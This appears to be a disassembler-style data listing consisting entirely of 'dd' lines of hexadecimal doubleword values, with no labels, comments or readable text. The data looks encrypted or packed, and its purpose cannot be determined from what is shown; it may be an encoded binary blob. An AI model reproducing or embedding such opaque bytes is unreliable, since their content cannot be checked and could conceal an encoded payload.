dd 225A035Dh, 0BBA68F41h, 0E5C69C3Fh, 244AB96h, 39296649h
dd 0A70F6ED6h, 0EA83206Bh, 4A44E901h, 0E5793059h, 25458811h
dd 62950B40h, 0C476E3Bh, 22CC33A2h, 17FAB9C1h, 5DEB9F62h
dd 45BDBCC4h, 0D0B7260Bh, 69B8E831h, 0A741A3B0h, 5E69C860h
dd 0D744A8BBh, 0D1530206h, 1219D623h, 6DD9F1F6h, 1901D308h
dd 63A65F41h, 34E987D0h, 0C508D5F7h, 9F82FE20h, 23AC8011h
dd 0A0285B60h, 3A8053B8h, 8D9238A3h, 0EE88AABFh, 18852768h
dd 0F025865Bh, 460B03F5h, 0D8CE814Bh, 6E00FA2h, 47BD8663h
dd 0F97C2D92h, 50CFAA30h, 834B3C4Ah, 401201B0h, 0ACA1AD39h
dd 2F002F23h, 0F84DBC0Dh, 5525054Ch, 4100653h, 73554FAh
dd 7E6E525Ah, 0DDB05152h, 5EF73921h, 0E5AD724h, 0DDE194E1h
dd 3C8992E9h, 9356DE3Eh, 26258AA9h, 83EAF61Bh, 58567BE8h
dd 96D64CC5h, 80C01EA0h, 152B850h, 58C707EEh, 0CF26F931h
dd 7A416008h, 37240226h, 0FEEDC12Fh, 3F5003CDh, 0E5CB09ADh
dd 0A642E9F0h, 87DF43C9h, 0F0925EA8h, 7F71552Eh, 12B45288h
dd 47AE985Ah, 969ABB7h, 8DFA9883h, 5A682FAFh, 0BE8230E5h
dd 4ABAE8F2h, 0CADF0051h, 941B1F7Ch, 510A2832h, 0D3420A2Dh
dd 3F270B42h, 904416Eh, 0D03C68CAh, 38EC0086h, 332D7303h
dd 5701124Fh, 0FE6213E9h, 6E09A825h, 0C572F117h, 0DD57BEBEh
dd 752644EFh, 0DA6803B3h, 54F1187Eh, 22EF4160h, 39DC550Bh
dd 3DF98429h, 2D5B8BB8h, 0A8CB2BD9h, 7220FA58h, 0E306F890h
dd 0C470618h, 2DD503CAh, 0C3217D86h, 0EE6C7422h, 3219023Eh
dd 57F30178h, 6F97EF40h, 0E9266604h, 31E90E0Ch, 4B092013h
dd 2BD9747Dh, 57364981h, 0E6195E2Fh, 0F227E2C0h, 92F514B7h
dd 7851B7E9h, 9555C44Bh, 946C775Ch, 0A1FB01Bh, 0A595E976h
dd 346B035Eh, 0C013D2Ah, 2E46635Ah, 0D53A09E9h, 0CBE8A8F3h
dd 8025B25Dh, 0E9FD87A4h, 0CE809FE3h, 0A872D3BBh, 62094E5Eh
dd 6BB4F129h, 17007F9h
dd 0C2DBB7C2h, 87521948h, 71792C2Dh, 19FAA679h, 0DCFE2711h
dd 76B7F0F3h, 0CC1445B4h, 0B241110Fh, 5612822Ah, 9FDE0362h
dd 729CF425h, 0C825357Bh, 25104D4Dh, 0C77E40BCh, 3FDBCE82h
dd 0AB3CC2E6h, 87F176D7h, 0EFD2361Eh, 5F929ABFh, 9A2C74FCh
dd 0F1D65A1Dh, 48BDC809h, 336C27C9h, 0F3E7BDEh, 9B9B793h
dd 894B2EE8h, 413A336h, 2044904Eh, 0AAF0B5C5h, 0B652460Eh
dd 16EEC15Dh, 0A9AC6FEh, 726016D1h, 7F821055h, 0A7C28D63h
dd 0AC124850h, 0B421C368h, 87045F69h, 0E744D4AAh, 2EC140EBh
dd 0C089E14Eh, 3A09296Ah, 0E75096B9h, 0A242B74Eh, 1B334F5Dh
dd 84100FB9h, 6C48C848h, 1296E826h, 4ED6A8A6h, 0E9F39EFCh
dd 687DB1DAh, 2F5712B8h, 0C5DA7E9Bh, 30570882h, 8294CFFEh
dd 0C5E6C7D8h, 1524617Bh, 5E40A7F8h, 95757C60h, 0F203B6DCh
dd 0DDB9FA04h, 4C3FB6BEh, 0AE97107Ah, 9E28813h, 0E17A5B7Fh
dd 0A51FA7Ah, 728C1A9h, 8D9DC6EEh, 34F900Dh, 347C0E47h
dd 0EEC2FE01h, 5E0C088Ch, 74053613h, 0AEB5C3ECh, 5913EBF6h
dd 0E036F856h, 0A86E2AE9h, 9EA81ACh, 59BA3329h, 88269DAh
dd 0F0E0F689h, 4AB6525Eh, 0D20E5A1Dh, 9B50C968h, 6C8CC1ADh
dd 0CCCC302Eh, 0E2A0F94Ch, 55811F61h, 304FB9ECh, 0F5781EA8h
dd 35A298Dh, 1F16C7F0h, 0E23A53Fh, 50A148EDh, 3C555377h
dd 0FBC2A472h, 17627DEAh, 96874CDFh, 95F60819h, 8D85A12h
dd 0AAF04AFFh, 0EF81A2Dh, 78C99FE6h, 0B58D7AA8h, 7919D502h
dd 875C03F7h, 64045EEh, 86C9E2C9h, 0C07DF025h, 0BD6499E4h
dd 11985D23h, 960ED918h, 139FE670h, 170FF02h, 225967D6h
dd 14B2063h, 4A03711Dh, 0CA69F380h, 20E9AD25h, 0BB0BAE6Dh
dd 7C67C3h, 7DE74E6Fh, 0C5294E42h, 2A9DE7E8h, 464BD8AEh
dd 0AA4A67ACh, 0DED52D32h, 685F02ACh, 0EDD92C49h, 0A1400F6Bh
dd 1767467h, 4B3C2DAh, 0D8FA5808h, 0A5FB7C6h, 9E9A8AB6h
dd 4A7B1655h, 0B5680187h, 0E4C5FECDh, 0B3BAD5C1h, 60685204h
dd 6AE6E0Bh, 0F64F2C1h, 61083A9Ch, 0C4800FBCh, 9222D192h
dd 54B80157h, 48E8A03Ah, 50E63507h, 0D604D99h, 50B41B92h
dd 0D3F1AB31h, 4698FE8Fh, 46D440C9h, 1B35058h, 0DB728419h
dd 0C47EF889h, 3EBA8284h, 0FD0F1CDFh, 6BB95CE6h, 4D4CEA70h
dd 4BCD207Bh, 584BBE5Ch, 6A3E5476h, 1E980008h, 7CE92DA0h
dd 9970D54Eh, 94453268h, 0AEB1624Dh, 78FF66DFh, 50FF96A9h
dd 1D267BAFh, 0AB1A8609h, 7664D50Dh, 146B9898h, 0DC26689Dh
dd 62B92611h, 1C56108Bh, 5EB89C68h, 0F85439EAh, 4F9533A6h
dd 13339152h, 8E9D27Fh, 0C15FD7DEh, 2FDFF792h, 0BB03EFA6h
dd 7A18130Ch, 3071CBE1h, 435C360Ah, 57D71DD8h, 0DFE96542h
dd 0FD2BA911h, 29B922E8h, 79036C00h, 5301F181h, 73597ACCh
dd 8FB794CFh, 200C3F28h, 79181878h, 0D118397Bh, 17332603h
dd 0BE0D2C1Dh, 840FD002h, 696497E1h, 0EFBE22FAh, 0F6E28B6Eh
dd 0F0CBC4B3h, 45FD5D9Bh, 1873E998h, 58A4ADD0h, 495909BFh
dd 0E95097A3h, 0B8EBFB29h, 93EA5795h, 7B13BB04h, 611EFB16h
dd 0DFFDAF54h, 0E2B0B3D3h, 5E701C1h, 0A26F781h, 609A4728h
dd 70E021C6h, 2CEFEB5h, 106822BCh, 0A9200728h, 762D0D9Ch
dd 1E265B87h, 55C58A62h, 170205ABh, 91EF34Ah, 664DE368h
dd 10CE1F3Dh, 0FD26BC3Fh, 0D56858C5h, 0AF300F5Bh, 4AC171DFh
dd 8527EB7Ch, 2007E383h, 0CFFC5C6Eh, 26761209h, 0CB41D727h
dd 2D39FC6Fh, 38EBF4C0h, 35E92B05h, 87320D7Eh, 0BDA8B494h
dd 0A0EC1230h, 67EDEC29h, 7A30E12Bh, 2468993Ch, 0C2CB3007h
dd 5804CB65h, 0C89974BBh, 570915AEh, 7F594E97h, 0B091545h
dd 0AD51F9F1h, 0B0C93751h, 0D6E7E9F5h, 0ACE40CBDh, 0EA35807Eh
dd 0C0EE0601h, 0C9FEB209h, 0CAD9E916h, 0A42508B9h, 0C85DC742h
dd 0E1E28015h, 539A0680h, 54E9C4B7h, 8224F569h, 0CC28EE18h
dd 416B2CF8h, 1D6C293h, 27094D77h, 25150D6h, 0F94F4B2Ch
dd 0F2AFE5E4h, 91502D59h, 0ED3E5827h, 92E34925h, 21E61800h
dd 4FE96E6Bh, 11E1294h, 0D2672AE7h, 20ADEC78h, 7BC352B4h
dd 4817FBDh, 28BACD2Eh, 69F2FA29h, 0ABF4E9C2h, 780747Eh
dd 935EFB8h, 0C055B9DFh, 337AC9BBh, 50D9AB58h, 89A546DDh
dd 58576806h, 0E6E8225Dh, 4C5CC706h, 1E0C16C8h, 4B71198Ch
dd 0A9FEEFC1h, 23479E03h, 7A1E1E6Dh, 157E2E17h, 0A24FD3C4h
dd 44FB9234h, 171F9682h, 0E5B4DE81h, 0B2C57183h, 2992A132h
dd 820825Ch, 0F5E95A25h, 54505682h, 51CBEE76h, 30284EB2h
dd 88E6B401h, 0DEA566E3h, 0BAA53DC0h, 0B29F1B91h, 0A4685182h
dd 65B3F607h, 94DCBF6Dh, 3ED04C0h, 0A876C3E9h, 1CDFC0ACh
dd 0B75D726Eh, 524029D3h, 3E6A4FBAh, 0EA030A68h, 13903595h
dd 2870D0C1h, 34BEC05Ah, 9D5FF6D8h, 0D101C282h, 7649BE1h
dd 5737D2F0h, 0BAD0BF05h, 1D6943B5h, 80810206h, 0CB44C8A3h
dd 0E913F331h, 279DC31Ah, 0E0B4043Ah, 515B0786h, 0D23F4072h
dd 0F90B30F5h, 0AA6DC2DFh, 7CC6B43Bh, 932DFFB8h, 80A9DA53h
dd 95295A08h, 8068B0F4h, 0AF11DB4Bh, 0BDC41BD6h, 125A43FCh
dd 15E3E74Ch, 3AE11DE9h, 13C13C59h, 0EB63DB78h, 0BDC0D152h
dd 44E44587h, 1C05B95Dh, 2A09EB5Ah, 0D28A5405h, 505A59C4h
dd 0BA69ABA8h, 5449BA7Bh, 0E9125644h, 21FE84EFh, 65B4B18Ch
dd 92D86EB9h, 5A324069h, 525EFCB5h, 0C12F15Bh, 5C4278BBh
dd 6E18E92Ch, 60F4299Ah, 0DF05D480h, 3079EE63h, 618E2D0Ch
dd 11A2105h, 71705C8h, 96918CA2h, 41CCE986h, 0C5895516h
dd 880485B9h, 0E8419C6Fh, 5D0740DDh, 8E8B66B6h, 82985F7Bh
dd 0BA81E7EEh, 0BAAE65B4h, 0D884F931h, 4BD8E26Bh, 927081E8h
dd 0BA50F19h, 1C6B4930h, 4152DE7Eh, 0A879D467h, 59D3B144h
dd 4781DF70h, 0F57F7806h, 0B2852ABAh, 5BF78EFFh, 46AF04BAh
dd 6B0712A9h, 3BC10553h, 0A970F701h, 1E15007Ch, 27EE2D64h
dd 0D8F86ADCh, 0B9AAF0B7h, 6B80834Fh, 340020B9h, 6E2E3C95h
dd 0E6E9C631h, 85D69FFCh, 90B96147h, 4E567E11h, 0C113FEEDh
dd 5489B75Dh, 8970F489h, 0CC4E287Bh, 69B05013h, 0D73ACDE1h
dd 94E9872Eh, 8961A92Dh, 59DDE401h, 59259676h, 2AAE145Fh
dd 0BC15D68h, 73B02DB7h, 66DF54F8h, 844971D7h, 274C7F57h
dd 0D6955C70h, 3A515962h, 59252ECAh, 0BD659E57h, 0E94175E5h
dd 772C52CDh, 0BE286885h, 7D7DE54Bh, 715F8A62h, 0EE014505h
dd 75E2E941h, 0B86FCE4Ah, 0D451E16Fh, 13932B2Dh, 8ACA8420h
dd 4A2B8608h, 75C2091Dh, 520EDED6h, 108FA693h, 5D0CF193h
dd 0C104D5F7h, 7E03E524h, 0AE22C00h, 73DD2988h, 0DCE3BD5Bh
dd 0C012FFCCh, 26E90C6Ch, 8FE9996Bh, 0D8045755h, 46B7FAC8h
dd 0ABB64D7Ch, 2DB07A48h, 0E42D75FBh, 2D73DE15h, 73C20254h
dd 87985D03h, 0D995B50Ah, 5EB8C095h, 714E7969h, 0F3C09484h
dd 2C2C4AF9h, 0BD5091Bh, 0CF49B03Ch, 5C06F23Dh, 0A268013Fh
dd 5816D356h, 0AE26FC05h, 0CBC40C4Eh, 0B8625DC1h, 320FB469h
dd 829DEC45h, 4B1AA1C3h, 588205C2h, 86DED1C2h, 5406E62h
dd 0CFA2AE5Fh, 56F768C2h, 0BEA59855h, 95E98359h, 712F365Fh
dd 6F147402h, 0DDDF7CE9h, 0C1767C64h, 1AB03D2h, 63D6ACB6h
dd 0B0992E31h, 4A7AB882h, 6E004010h, 5EF22DD0h, 8CAB701h
dd 1ED92AE9h, 0ACCF1E57h, 3FCC3EE5h, 1F0B77Fh, 84086793h
dd 0A6DF0FC8h, 16FFEDDFh
dd 1FD064C6h, 8B7CA25Ah, 680F15Ch, 2ACFB8E9h, 6FA61AA1h
dd 3508CD31h, 0C0DD5802h, 4306D9h, 8149592Fh, 78458FC9h
dd 407DC3BFh, 348B8704h, 0B0BE7F47h, 0E918F882h, 0BFDF3B27h
dd 26772671h, 0E8EF147Eh, 0D410973h, 17805016h, 7A600AECh
dd 707781AAh, 0DFC5032Ch, 12AC677h, 4ED85B7h, 0BC9BE908h
dd 3CA64CFFh, 2D5210E8h, 1513680Ah, 0E25467E7h, 0FE4871FBh
dd 29809030h, 8D6CB7D9h, 0A24A2EFCh, 5C4CA242h, 1F66407Eh
dd 0EE17C0E4h, 108A70C2h, 0FB524AF6h, 68020498h, 8CAB3A78h
dd 1A63DFA3h, 847E5573h, 0B76370ABh, 880651C3h, 0F07FE9FDh
dd 0EC544A22h, 0A3D51829h, 0C9A5EB3Dh, 90D73166h, 8353E7EDh
dd 0BD55A0BFh, 0BE5C6B9Dh, 1216104Fh, 3DF8680Bh, 22405D31h
dd 5EFD4ADFh, 3850680Eh, 6F73BF17h, 31B98404h, 0BF81C7B6h
dd 411694F6h, 55820697h, 0A30C1C2Fh, 5DD7BAEFh, 2D5D2460h
dd 0FDC84A9Fh, 0B82D04E5h, 0D6B5A8FBh, 0FCF95CF0h, 27545DA5h
dd 9CF70970h, 0CD80E3A1h, 0EC531BFh, 0D890CF86h, 8DBD3F6h
dd 0DDF5E810h, 7DEB4828h, 3896752Ah, 0FF4B232Eh, 32689768h
dd 51790AEBh, 772DA454h, 0AFF0914h, 0F830FA4Eh, 0F965E901h
dd 1EF4413Ah, 7B6C6D1Dh, 2B8753C5h, 0D1C83AF3h, 872DC201h
dd 0B8380193h, 6A154845h, 0E90C40F2h, 0EA51E811h, 376A1B1Fh
dd 8C282C33h, 86E9EEC1h, 964D0B6Fh, 0BCA6984h, 764F55Ch
dd 7CA4B82Dh, 0C74172D8h, 5805CA16h, 252F4AC7h, 29EF721Eh
dd 48A16E5Bh, 8C6EE4C1h, 544B392h, 2F0459A9h, 0D341D389h
dd 8006F8C0h, 93C1E13Dh, 92B3B3A3h, 2892BF3Ch, 0CD065385h
dd 76C0CE58h, 5981A3CEh, 9DE0BCD8h, 9484D2EEh, 569F2827h
dd 807A58A3h, 0E9200C09h, 583CECC3h, 7F9F17F9h, 0CAC99F92h
dd 860C232Ah, 3721DBE9h, 6BAC65Bh, 14557DB0h, 40D7B904h
dd 33E4421Ah, 8A6A17A0h, 0A89E1747h, 400CD00Bh, 8997975Fh
dd 0E31F181Fh, 0B2EA3880h, 0D466FA14h, 0D7EF6878h, 6C02029Dh
dd 5DC49ADh, 0E9340720h, 0EA80AD5Bh, 48244ADCh, 50095D11h
dd 704282Ah, 5B83B814h, 0CD81341Fh, 121E0673h, 0EC3EF43Ah
dd 4A95571Fh, 2B9AF580h, 2FE97CCEh, 47A7B77h, 5271FC1Eh
dd 58509EE8h, 6BF6DB77h, 0B8E9463Ch, 34EB5A9Dh, 0BA2EBA6Ch
dd 0BD5FFC5Bh, 56135422h, 8B58A98Ch, 0B768F759h, 5E81A33Bh
dd 0E56AAC6Fh, 2565A4AAh, 0E837D697h, 5CF4721Bh, 80370A46h
dd 76A3B8Bh, 685323DCh, 55287209h, 0BCB984FFh, 9F88BB17h
dd 0E88713FDh, 5A89BCDBh, 0D1D381FDh, 2A52CC30h, 78DF8CA2h
dd 461AB52Dh, 4389625Eh, 7E30D5EFh, 0A0B03084h, 3D089B31h
dd 0B493A2B0h, 0ABD9F089h, 0FC5CBF40h, 0AD2760FEh, 0E7C147DFh
dd 0BB530200h, 31C91C64h, 873667E9h, 61E3F758h, 287E5468h
dd 3C04961Eh, 6E4AA48h, 0B3E5136Bh, 4FCFF840h, 5AE9ECF0h
dd 0AD861D96h, 0BECFBC81h, 4737F153h, 6E7D6186h, 6EC12A4Dh
dd 5D02C741h, 3CB111E0h, 6A0A7B25h, 0A2594065h, 0C0BD83E8h
dd 2281E3Ch, 0C0570D5Fh, 3B3E6141h, 0A82B0B83h, 22E9F08Dh
dd 17E9960h, 3E7317CBh, 0AAB47006h, 4D8E6218h, 99A520Ch
dd 29E9DB1Bh, 2D58BFA0h, 9173335Ch, 0C6D0F8F4h, 6BE90A08h
dd 0A56BCB8Fh, 0C952EDF8h, 9D21A899h, 0D89C173Ah, 2594CED1h
dd 52C0F25h, 0AC885968h, 629A5BE2h, 0D3D89F4Dh, 0ACA05BF2h
dd 429C9DA3h, 0F4AB5545h, 0C072680Dh, 5D77AA13h, 73650114h
dd 38427F13h, 353B00EBh, 1B181D79h, 577D1BDh, 0F65B6E68h
dd 8EBF93DEh, 0C0830971h, 0C7B07D02h, 0FC823B4Ch, 23AB8B9Ah
dd 0F5F6C214h, 0C35B2B60h, 606C7443h, 51770C72h, 2EC261E8h
dd 0C10B7B69h, 132A1826h, 0B5C7EA06h, 73A3A239h, 0D0B6578Fh
dd 3DB45EA1h, 0EB06125h, 0F93A31D4h, 78680C9Bh, 0BAF32D44h
dd 1C4295C4h, 33C7D7C0h, 0DBB0D14Bh, 0FF3616DEh, 4CDE013Ah
dd 2EBB57C5h, 578B13D2h, 0AE5D0384h, 2CEB598h, 3A970902h
dd 88A9F756h, 0F7A56654h, 0C820129Ch, 0DD0B95A0h, 0F30F3421h
dd 1696DC2Ah, 903DF25h, 38BDF031h, 7C84A58Ah, 0A22F1A68h
dd 235A2524h, 13771E1Eh, 0B32C4EE3h, 6291502Ch, 5E2F3181h
dd 4C038B60h, 0C52563DBh, 1B77A534h, 3042B96Eh, 61C1AC2Ch
dd 796E7EE9h, 4E382A6Eh, 642BDE80h, 0B50B5499h, 0C27F686Ah
dd 0F83FE133h, 1662A93Fh, 0C0014620h, 506606EAh, 0E2C179B4h
dd 0EB5017DBh, 293A2196h, 0F169A52Eh, 44E74F2Fh, 4E5D0930h
dd 71AFB871h, 0B30E5F68h, 7A8F1162h, 2081DA8Fh, 0A5DEB808h
dd 42ABFF0Bh, 8C7E0B05h, 19985284h, 0BBDD8097h, 5FFA1707h
dd 9E5CAE15h, 0B9D8C81Dh, 27685173h, 0ABD34E16h, 5181C609h
dd 0F1E64913h, 5D52EA13h, 0E90FC8FBh, 9F5B584Eh, 59959DD6h
dd 0E688620Bh, 0AC3EF0EDh, 12190B87h, 0AA75424Ch, 0C5A50AB4h
dd 554C88A3h, 341FC27h, 0D729FB46h, 0B4D0B1E2h, 0F1975A78h
dd 5053C2CBh, 0A131CED5h, 35007FF3h, 84262312h, 17020F51h
dd 4015CB0Bh, 13160714h, 0BB09555Dh, 7AD99154h, 40482704h
dd 0B7D187E9h, 1CDC4B5Dh, 2D0EC079h, 51B4683Eh, 0A90AF098h
dd 0C2374C67h, 352DA712h, 6EB8D93Fh, 0D185C4CBh, 0A1E027EFh
dd 6C62A16Fh, 5F5D05D9h, 21C54D44h, 0BE83C30Ah, 56169C6Ah
dd 4ADFE2A2h, 99EE1676h, 7EAC60F8h, 435D04A7h, 0A281212Dh
dd 0CFF32966h, 32C4817h, 871881EEh, 2DFB0240h, 9B857FD9h
dd 10C7CBFEh, 0BE40BAD0h, 77701E3Bh, 92A7FA75h, 0FFC9EF51h
dd 67A18346h, 0F9B22BFFh, 2E23CF04h, 99848242h, 0BB004654h
dd 355B5985h, 23E30481h, 0EA542E3Eh, 7406F540h, 78D1410Ch
dd 0CF30E5EBh, 9E83A1AFh, 8C1E5F6Eh, 8108DAF7h, 781D60F8h
dd 0F18326F8h, 761871A1h, 74E40ADAh, 2C40236h, 0EE8F780Eh
dd 7F010B7Fh, 57D210A0h, 68C17440h, 7C2E4106h, 68F0287Bh
dd 1849102Dh, 55516B4h, 0E8D11D6Fh, 0DD37C035h, 159E93Bh
dd 8EBD0032h, 81239D38h, 261E02F5h, 0AFE96AA8h, 0C5275BF6h
dd 8E542751h, 0A9DBAC2h, 826047Ah, 0F332C1C8h, 7416305Eh
dd 2B25280h, 28322C73h, 0DD5404D0h, 0A1BB4E0Bh, 2EFC1D1h
dd 0AAF4D21h, 0CE655CE0h, 95A3B75h, 9FE3B7F0h, 0E918A0DAh
dd 0F775A555h, 5B9B12B8h, 0BB1B1308h, 16AED365h, 6486A8CBh
dd 6601B034h, 3E521568h, 5635B0B7h, 0FEAE52C9h, 2D04B38h
dd 0E97C6D7Ah, 157356FEh, 4534B7BDh, 3F0B2F56h, 0CC265CB5h
dd 0CC431435h, 918257CBh, 13574E10h, 0B68DC11Ch, 1DC7D981h
dd 82661F4Ah, 0BD7C640Ch, 0E91B7149h, 0C52C1455h, 0E2C4CB5Eh
dd 0D3688209h, 546BA91Fh, 0D9D47251h, 7D2F3B2Ch, 3B512A99h
dd 69F62509h, 0DBCEBA81h, 64A5BD33h, 0C751C242h, 33565545h
dd 9C41D3FCh, 0F39CD07Ah, 0FE277541h, 40D85C28h, 0F42E91Dh
dd 0FFDD013Ah, 3AE8144Eh, 0B3E9F9A3h, 5B7FC276h, 7B1E09BEh
dd 0F0CABA74h, 473A436h, 17EA9F6h, 96618045h, 0C0978DFCh
dd 30E9F35Eh, 0E3297C77h, 0C5306A52h, 7F989459h, 0FB4C5B0Dh
dd 3B20B456h, 242B37B9h, 2E620CDh, 139E7C21h, 0A754FE40h
dd 50346B1Dh, 0EF853996h, 70B8B4BBh, 7ADD8B52h, 6C800F41h
dd 0F314FBE7h, 564F4733h, 584C6EB3h, 6515E983h, 4ED50B87h
dd 8732A185h, 0BD815E02h, 30947089h, 7809ED40h, 0DCC97F53h
dd 953507EEh, 0DC82A1Fh, 6AD4DD1Bh, 905E772Bh, 0F9D5E929h
dd 0A0F7189Dh, 0B81E9FD1h
dd 15E934D3h, 0A7F6E9F0h, 0E9ABAEAAh, 38A24CFDh, 0D450A8B6h
dd 25D0B621h, 0D669F2D1h, 7D07E02Ch, 5E902EE0h, 0D09897B2h
dd 144D50BDh, 0DC6CF665h, 0B26F029h, 7D42B8E9h, 5BD1605Fh
dd 994BAC3h, 45AB39D2h, 0F814F22h, 499B9590h, 0F75132Fh
dd 6AA30270h, 388FEB4h, 0DB50697h, 2DD71804h, 0F2A1D94Bh
dd 0A4144F47h, 0ED034A14h, 764B5E24h, 1B9DCDB0h, 0C118836Eh
dd 0CC47858h, 4ADC30h, 293F8DDCh, 0E95B5DEEh, 54DDD82Fh
dd 25BFE0F7h, 5C010361h, 2E3FCF81h, 0A3304FFEh, 77012F7Dh
dd 9A41D878h, 5F7BB67Ah, 5A8C47B0h, 50235A44h, 7F8E52C0h
dd 0BF67C100h, 66E96EA1h, 0CFD8B531h, 23A4ED24h, 7EE6094Bh
dd 518EA7C2h, 586F1EE3h, 2EE2F0E9h, 5FD64D44h, 8907DCEAh
dd 3CECDBBFh, 2DE5CA25h, 0D7E6B1AFh, 0F0265088h, 519BB02h
dd 0C92B57C9h, 0FFA028F0h, 7F02F4Dh, 1971F89Dh, 7E173836h
dd 29038CFFh, 5875A6C6h, 0D08366B5h, 6017D488h, 0D9A36C0Bh
dd 807B04Ah, 0EC563C40h, 25369C0Eh, 20B1D9E5h, 0E419D17Eh
dd 0B88067CAh, 0BB5F17C8h, 0B0021478h, 0A358845Eh, 65681769h
dd 0AF1D34FBh, 0D1F9C383h, 0EC3F77B8h, 4E6117DAh, 0CF023FA3h
dd 66566DDBh, 0FDFF2960h, 3106F673h, 0F244E9F7h, 0D658B5F8h
dd 0BF58B720h, 6CB04B50h, 0E9CA205Ah, 0E316A558h, 2F6F9DF0h
dd 0BB96D9E8h, 6C526909h, 0E907C2E0h, 795FE5DFh, 1989C8D3h
dd 0DDC645DFh, 46717558h, 153AC096h, 1F1CA43Ch, 0D0A6DE14h
dd 0D71B18DBh, 72885156h, 0FBEC48F5h, 68059720h, 72926219h
dd 97411DB8h, 85C20A40h, 20629A05h, 8B902F75h, 0CBA69124h
dd 5ACC3FBEh, 0DED6F9D2h, 877D2D5Ah, 0ED342805h, 66EC0181h
dd 0EDFE941h, 23020B32h, 21BE68A5h, 0C004EFE3h, 62E046E1h
dd 4C0792h, 48576858h, 0EFA280A8h, 0BC13F1B7h, 3080B697h
dd 6F916840h, 627230B7h, 0A6614B03h, 0C2E909D4h, 4F1857F7h
dd 5EBEAC99h, 0FEBAFD4Bh, 0B56A9677h, 61DAB6DCh, 0D82E175Eh
dd 6AFFA8A2h, 0BAD318F3h, 60562B62h, 0CFE16E7Fh, 38AC68A4h
dd 0B94B5557h, 30346941h, 0F04172E2h, 0E005D6BFh, 480C98BBh
dd 485F7484h, 0D235D064h, 20229212h, 955E165Ch, 0C951D48h
dd 62D23AC0h, 15A4B5CBh, 0C04AECE0h, 9C79BD05h, 0C5E9100Fh
dd 0B0944077h, 65C34C17h, 0A021DC0Bh, 2A98B913h, 0BA544BD2h
dd 0DAA88F25h, 1E2C8A0Bh, 9FAFE88Fh, 0C22BA26h, 432F277Ah
dd 39AC5C16h, 7EFB5h, 0DEB5F745h, 35B67C83h, 0D5EEE904h
dd 1288718Dh, 3014E6C0h, 6323681h, 9740FC0Dh, 373C989h
dd 0AB808h, 5287C2Dh, 20D6C179h, 357B31BBh, 56C0046Bh
dd 16577B90h, 10C12924h, 13F080Ah, 0F5F01E65h, 0E888E0EFh
dd 74FE0ED6h, 4AC9CA2Bh, 0E98272B2h, 795D9BAEh, 20B201AEh
dd 0C09EEC80h, 533B66D4h, 0C43879B7h, 1CFC378Eh, 5F5B8D5Fh
dd 4A84C820h, 1A52E3AEh, 0DE54D993h, 0D097B38h, 0D2657AE9h
dd 161D0FB8h, 0C6641E58h, 0CA2F90A6h, 13244776h, 0CC122725h
dd 0EC4352A0h, 0F5CB4B62h, 2227F459h, 0FF28180h, 14D56DCAh
dd 0EE5B4365h, 4DD10B79h, 0CDEE8000h, 5AF33000h, 0B4505266h
dd 0E6882F3Dh, 6C978155h, 0E901CE20h, 0BAF264DAh, 277D0939h
dd 27CBF457h, 3E024974h, 0DDA628A3h, 0DF89560Fh, 44F06C00h
dd 215F465Bh, 0BEF707AEh, 0EAB41C40h, 554170Bh, 9EA87F7Dh
dd 0E65F1708h, 0FAA01052h, 0DC0FE12h, 0F5E1D98Ch, 0B093A17h
dd 3A5AD087h, 0F8CEF708h, 14AB97F7h, 0CEC43558h, 0C1D8A8E2h
dd 670FE74Ah, 9843A16Ah, 7CEC5F88h, 865697CEh, 940985EFh
dd 6CDA66AFh, 322C91C7h, 84B13A74h, 9D3B62Bh, 0D202C683h
dd 0AF82DCBh, 190CB365h, 0BFF39DD6h, 0CE092270h, 1290379h
dd 0BC3EF084h, 4BE51420h, 0D463B3D5h, 3D9E725Ch, 0D3F7143Bh
dd 7DE90B07h, 0D7460Ah, 17110477h, 0A4F3814Bh, 8264950Bh
dd 2B02FD31h, 305559CEh, 9DF56212h, 31F62E2Bh, 0D3D24B58h
dd 0E43FE085h, 4730956Ah, 4582F025h, 86DE41F9h, 0B9763FB8h
dd 334907F4h, 7952458Bh, 300B0E58h, 1C3C7077h, 41BA2D7h
dd 0CCD05210h, 14C756E7h, 62D5829h, 415F5A16h, 0F90A30E0h
dd 7DD22F27h, 5845D5F5h, 28088E26h, 0A05C16ECh, 0C159DB50h
dd 4BF31614h, 0B69536BAh, 732FA813h, 58B0CF04h, 0A26ABA07h
dd 0DCE12023h, 0E0126861h, 9F36EB80h, 6B9992Eh, 25E93F5Ah
dd 0A4A53F8Ah, 26D4030Dh, 24D91237h, 4C3F33D7h, 0A8955002h
dd 2D21C182h, 0BEAC3792h, 0E983868Ah, 1363DA3Eh, 260CEB8Eh
dd 0E5A7D006h, 7928C266h, 0B5C120D7h, 95F3E916h, 96DE5C89h
dd 56E66804h, 2D2FB498h, 9B70467Fh, 0DD7E9D0Ah, 0D42DDE08h
dd 67A3A8DCh, 0C15EAE99h, 0EC19DCE6h, 0DE58F723h, 0FD0D2010h
dd 9666B36Ah, 0AA84D9E8h, 114A994h, 0C73057B7h, 0F6CCFE58h
dd 0D8077D7h, 8B59E955h, 10267C38h, 5001239h, 3428AE2Ah
dd 5831C331h, 37617C89h, 0CA826557h, 0B81CC4A0h, 0BF1498C2h
dd 0ABFEE578h, 0C59762B5h, 827BA53Ch, 7FA64309h, 0F72D5E4Ch
dd 2D69EC5Eh, 0AF1AD293h, 966BD4C1h, 0E5C2C2h, 4A56B96Fh
dd 815F3DAEh, 0E946CC26h, 789DDEFDh, 96E19557h, 0B1F4562Fh
dd 87350049h, 1E075221h, 165AC1B8h, 13B2F81Ch, 0BC25704Dh
dd 0D66066F9h, 0D300B63h, 8918BD3Dh, 84016810h, 409769C2h
dd 0E7F07CEh, 7143BF80h, 0B84F4C78h, 4634E909h, 0B23EBE14h
dd 0DB60A62Bh, 82E1288Bh, 3D456BDh, 0BBFAEE29h, 0AAC0B3A4h
dd 0C26A860Bh, 64F17703h, 25E04888h, 0D0AF4861h, 70B50956h
dd 0E1811C7Ch, 3F85099Fh, 33FF825Dh, 8E560979h, 80788950h
dd 0DEC4F380h, 0BDBC7269h, 1DE150C4h, 0B7DC133Bh, 0B386A0BCh
dd 0B3E368Eh, 8CCADB08h, 99092A58h, 3FF8BFE9h, 242D6813h
dd 45CB32E8h, 0C85DC40Bh, 7E095CE5h, 0BFDBB577h, 0A4C67417h
dd 796ABFE8h, 0DCC06275h, 50BEC07Dh, 3C094D36h, 64536368h
dd 14F725E5h, 0C151BA25h, 3E94A490h, 90D3D6A3h, 84E5819Ah
dd 76DA5018h, 3E5F0E5Eh, 1F5854B6h, 7CC16109h, 0D8FDE122h
